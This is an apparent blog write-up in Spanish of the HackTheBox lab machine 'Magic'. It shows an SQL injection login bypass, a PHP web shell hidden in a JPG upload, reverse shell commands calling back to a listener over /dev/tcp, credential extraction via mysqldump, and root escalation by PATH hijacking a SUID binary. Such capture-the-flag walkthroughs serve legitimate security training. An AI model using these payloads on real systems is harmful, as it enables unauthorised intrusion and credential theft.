# HackTheBox - Magic

## Reconocimiento

El escaneo inicial con `nmap` muestra los puertos 22 y 80 abiertos:

```abap
# Nmap 7.94SVN scan initiated Mon Oct 21 11:51:56 2024 as: /usr/lib/nmap/nmap -p- --open -sSCV --min-rate 5000 -n -Pn -v -oN scan 10.10.10.185
Nmap scan report for 10.10.10.185
Host is up (0.10s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 06:d4:89:bf:51:f7:fc:0c:f9:08:5e:97:63:64:8d:ca (RSA)
|   256 11:a6:92:98:ce:35:40:c7:29:09:4f:6c:2d:74:aa:66 (ECDSA)
|_  256 71:05:99:1f:a8:1b:14:d6:03:85:53:f8:78:8e:cb:88 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Magic Portfolio
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

**Puerto 80/tcp**

```abap
┌──(root㉿kali)-[/home/noc/htb/magic/nmap]
└─# whatweb http://10.10.10.185       
http://10.10.10.185 [200 OK] Apache[2.4.29], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.10.10.185], JQuery, Script, Title[Magic Portfolio]
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1729526141980/5076738a-60f9-4173-9c3e-4c7b3567d981.png align="center")

*Login* redirige a `/login.php`:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1729526228877/cb1c4463-04a3-4cf0-a10a-2f19b70836cc.png align="center")

Las credenciales por defecto, como admin/admin, no permiten acceder. Sin embargo, al probar una inyección SQL básica con `' or 1=1-- -` y cualquier contraseña, es posible evitar la autenticación y obtener acceso al panel de inicio de sesión.

La inyección SQL `' or 1=1--` funciona porque manipula la consulta SQL que se ejecuta en el servidor. Por lo general, cuando ingresas un nombre de usuario y una contraseña, el sistema verifica las credenciales mediante una consulta SQL como:

```sql
SELECT * FROM usuarios WHERE username='admin' AND password='contraseña';
```

Al introducir `' or 1=1--` en el campo de nombre de usuario, la consulta cambia a:

```sql
SELECT * FROM usuarios WHERE username='' OR 1=1 -- AND password='cualquier_contraseña';
```

Lo que ocurre aquí es que la condición `OR 1=1` siempre es verdadera (ya que 1=1 siempre se cumple). Esto significa que la verificación del nombre de usuario se vuelve irrelevante, ya que la parte `OR` hace que la consulta siempre devuelva resultados.

Además, el `--` indica el inicio de un comentario en SQL, lo que hace que el resto de la consulta (incluyendo la verificación de la contraseña) sea ignorada. Es importante tener en cuenta que debe haber un espacio después de `--` para que sea reconocido correctamente como comentario.

Como resultado, la base de datos devuelve la primera fila de la tabla de usuarios (generalmente la del administrador), y el acceso se concede sin necesidad de conocer la contraseña real.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1729526805894/3e8f5aa7-d239-48f4-96be-4d31672665e4.png align="center")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1729526843960/39ef7704-6633-4580-9c36-b784581b8ebc.png align="center")

Tras iniciar sesión, `/upload.php` tiene una funcionalidad para subir imágenes:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1729526903385/1690bb4f-1eeb-4132-a0ee-9bcd31c2c0f6.png align="center")

Las extensiones de archivo válidas son:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1729529693594/ab7a7d99-d2c6-4ced-b389-573d93989824.png align="center")

Tratando de subir una [reverse shell](https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php) en php cambiando la extensión `.php` a `.php.jpg` no funciona:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1729529869705/93618ee3-025b-42c2-a3e2-7afb0c99ca1d.png align="center")

## Shell como www-data

Se descarga un jpg cualquiera:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1729530143533/a37e2e82-7c03-4bd0-9a2c-e66770748bf4.png align="center")

En mitad del jpg se inserta utilizando un editor como `vi` o `nano` el siguiente código: `<?php system($_GET[cmd]); ?>`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1729530593226/c803ca61-0a05-4105-a193-a5b9cde30fe8.png align="center")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1729530734317/5e2b2a3b-6461-415c-ab7f-5e896ac4529a.png align="center")

Pero no funciona, la página trata el archivo como una imagen y no como un archivo php, por lo que no ejecuta `<?php system($_GET[cmd]); ?>`.

Renombrando `gato.jpg` a `gato.php.jpg`:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1729531099451/83be4693-d61a-4adc-ae5c-621216cebc74.png align="center")

Y accediendo a [`http://10.10.10.185/images/uploads/gato.php.jpg?cmd=id`](http://10.10.10.185/images/uploads/gato.php.jpg?cmd=id), se ejecuta:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1729531280874/60f3eec7-dd64-46a7-961c-372c1432538e.png align="center")

Para obtener una shell: `bash -c 'bash -i >%26 /dev/tcp/10.10.14.15/4444 0>%261'` (hay que urlencodear los `&`)

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1729531675357/093c000d-a2e1-49a1-8c96-86428ce1c0f2.png align="center")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1729531826468/c40bdde6-2313-428c-bdbf-62ef2055d3e7.png align="center")

Mejora de la TTY:

```abap
script /dev/null -c bash
Ctrl+Z
stty raw -echo; fg
                    reset xterm
export TERM=xterm
export SHELL=bash
stty rows <x> columns <y>
```

Listando los usuarios existentes:

```abap
www-data@magic:/var/www/Magic/images/uploads$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
theseus:x:1000:1000:Theseus,,,:/home/theseus:/bin/bash
```

## www-data –&gt; theseus

En `/var/www/Magic`, `db.php5` parece tener credenciales de una base de datos:

```abap
www-data@magic:/var/www/Magic$ cat db.php5 
<?php
class Database
{
    private static $dbName = 'Magic' ;
    private static $dbHost = 'localhost' ;
    private static $dbUsername = 'theseus';
    private static $dbUserPassword = 'iamkingtheseus';
```

No se puede utilizar `mysql`, pero hay otras utilidades disponibles:

```abap
www-data@magic:/var/www/Magic$ mysql

Command 'mysql' not found, but can be installed with:

apt install mysql-client-core-5.7   
apt install mariadb-client-core-10.1

Ask your administrator to install one of them.

www-data@magic:/var/www/Magic$ mysql
mysql_config_editor        mysql_plugin               mysql_tzinfo_to_sql        mysqlanalyze               mysqld                     mysqldump                  mysqloptimize              mysqlreport
mysql_embedded             mysql_secure_installation  mysql_upgrade              mysqlbinlog                mysqld_multi               mysqldumpslow              mysqlpump                  mysqlshow
mysql_install_db           mysql_ssl_rsa_setup        mysqladmin                 mysqlcheck                 mysqld_safe                mysqlimport                mysqlrepair                mysqlslap
```

`mysqldump` hace una copia de seguridad de la base de datos, obteniendo así nuevas credenciales:

```abap
www-data@magic:/var/www/Magic$ mysqldump --user=theseus --password=iamkingtheseus --host=localhost Magic
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- MySQL dump 10.13  Distrib 5.7.29, for Linux (x86_64)
--
-- Host: localhost    Database: Magic
-- ------------------------------------------------------
-- Server version       5.7.29-0ubuntu0.18.04.1

/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8 */;
/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
/*!40103 SET TIME_ZONE='+00:00' */;
/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;

--
-- Table structure for table `login`
--

DROP TABLE IF EXISTS `login`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `login` (
  `id` int(6) NOT NULL AUTO_INCREMENT,
  `username` varchar(50) NOT NULL,
  `password` varchar(100) NOT NULL,
  PRIMARY KEY (`id`),
  UNIQUE KEY `username` (`username`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `login`
--

LOCK TABLES `login` WRITE;
/*!40000 ALTER TABLE `login` DISABLE KEYS */;
INSERT INTO `login` VALUES (1,'admin','Th3s3usW4sK1ng');
/*!40000 ALTER TABLE `login` ENABLE KEYS */;
UNLOCK TABLES;
/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;

/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;
/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;

-- Dump completed on 2024-10-21 13:18:09
```

`Th3s3usW4sK1ng` resulta ser la contraseña del usuario `theseus`:

```abap
www-data@magic:/var/www/Magic$ su theseus
Password: 
theseus@magic:/var/www/Magic$ id
uid=1000(theseus) gid=1000(theseus) groups=1000(theseus),100(users)
```

## theseus –&gt; root

Con [`linpeas.sh`](https://github.com/peass-ng/PEASS-ng/releases/download/20231008-041e379c/linpeas.sh) se ve que `/bin/sysinfo` tiene el bit SUID activado:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1729543207125/54ea6ea5-f2bd-4ce9-8946-8d4d75f1a045.png align="center")

```abap
theseus@magic:/tmp$ ls -la /bin/sysinfo
-rwsr-x--- 1 root users 22040 Oct 21  2019 /bin/sysinfo
```

El binario `/bin/sysinfo` realiza un diagnóstico del sistema, incluyendo detalles de hardware, discos, CPU y uso de memoria.

```abap
theseus@magic:/var/www/Magic/images/uploads$ strings /bin/sysinfo
/lib64/ld-linux-x86-64.so.2
libstdc++.so.6
__gmon_start__
_ITM_deregisterTMCloneTable
_ITM_registerTMCloneTable
_ZStlsIcSt11char_traitsIcESaIcEERSt13basic_ostreamIT_T0_ES7_RKNSt7__cxx1112basic_stringIS4_S5_T1_EE
_ZNSt13runtime_errorC1EPKc
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc
_ZNSt8ios_base4InitD1Ev
_ZNSolsEPFRSoS_E
__gxx_personality_v0
__cxa_allocate_exception
_ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_
_ZNSt8ios_base4InitC1Ev
_ZTISt13runtime_error
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev
__cxa_throw
_ZNSt13runtime_errorD1Ev
_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc
__cxa_free_exception
_ZSt4cout
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1Ev
libgcc_s.so.1
_Unwind_Resume
libc.so.6
setuid
__stack_chk_fail
popen
fgets
__cxa_atexit
pclose
__cxa_finalize
setgid
__libc_start_main
GCC_3.0
CXXABI_1.3
GLIBCXX_3.4
GLIBCXX_3.4.21
GLIBC_2.4
GLIBC_2.2.5
%z! 
%r! 
%j! 
%b! 
%Z! 
%R! 
%J! 
%B! 
%:! 
%2! 
%*! 
=Q! 
=O  
ATSH
[A\]
ATSH
 [A\]
ATSH
 [A\]
AWAVI
AUATL
[]A\A]A^A_
popen() failed!
====================Hardware Info====================
lshw -short
====================Disk Info====================
fdisk -l
====================CPU Info====================
cat /proc/cpuinfo
====================MEM Usage=====================
free -h
```

Algunos comandos están siendo ejecutados con binarios de manera relativa, es decir, sin la ruta absoluta, como en el caso de `fdisk -l`. El binario `/bin/sysinfo` tiene el bit SUID activado, lo que permite que sea ejecutado con privilegios de root. Esto abre una posibilidad de escalar privilegios mediante la manipulación del `PATH`, aprovechando el hecho de que el sistema está buscando los binarios en los directorios definidos en la variable de entorno `PATH`.

El objetivo es que, al ejecutar `sysinfo`, se utilice un archivo `fdisk` malicioso, previamente inyectado en el `PATH`, que nos otorgue una shell con privilegios de root.

```abap
theseus@magic:/var/www/Magic/images/uploads$ which fdisk
/sbin/fdisk
theseus@magic:/var/www/Magic/images/uploads$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
theseus@magic:/var/www/Magic/images/uploads$ cd /tmp
theseus@magic:/tmp$ touch fdisk
theseus@magic:/tmp$ nano fdisk
theseus@magic:/tmp$ cat fdisk 
#!/bin/bash

/bin/bash -i >& /dev/tcp/10.10.14.15/4444 0>&1
theseus@magic:/tmp$ chmod +x fdisk 
theseus@magic:/tmp$ export PATH=/tmp:$PATH
theseus@magic:/tmp$ echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
```

Al ejecutar de nuevo `/bin/sysinfo` se consigue que el sistema ejecute nuestro archivo `fdisk` malicioso, obteniendo así una shell de root.

```abap
theseus@magic:/tmp$ sysinfo
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1729549926443/46b00336-7820-4ff1-af71-32c271cc265f.png align="center")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1729549066603/e1c6cb61-2cc6-4cde-8c51-e39ec5a3b9bd.png align="center")
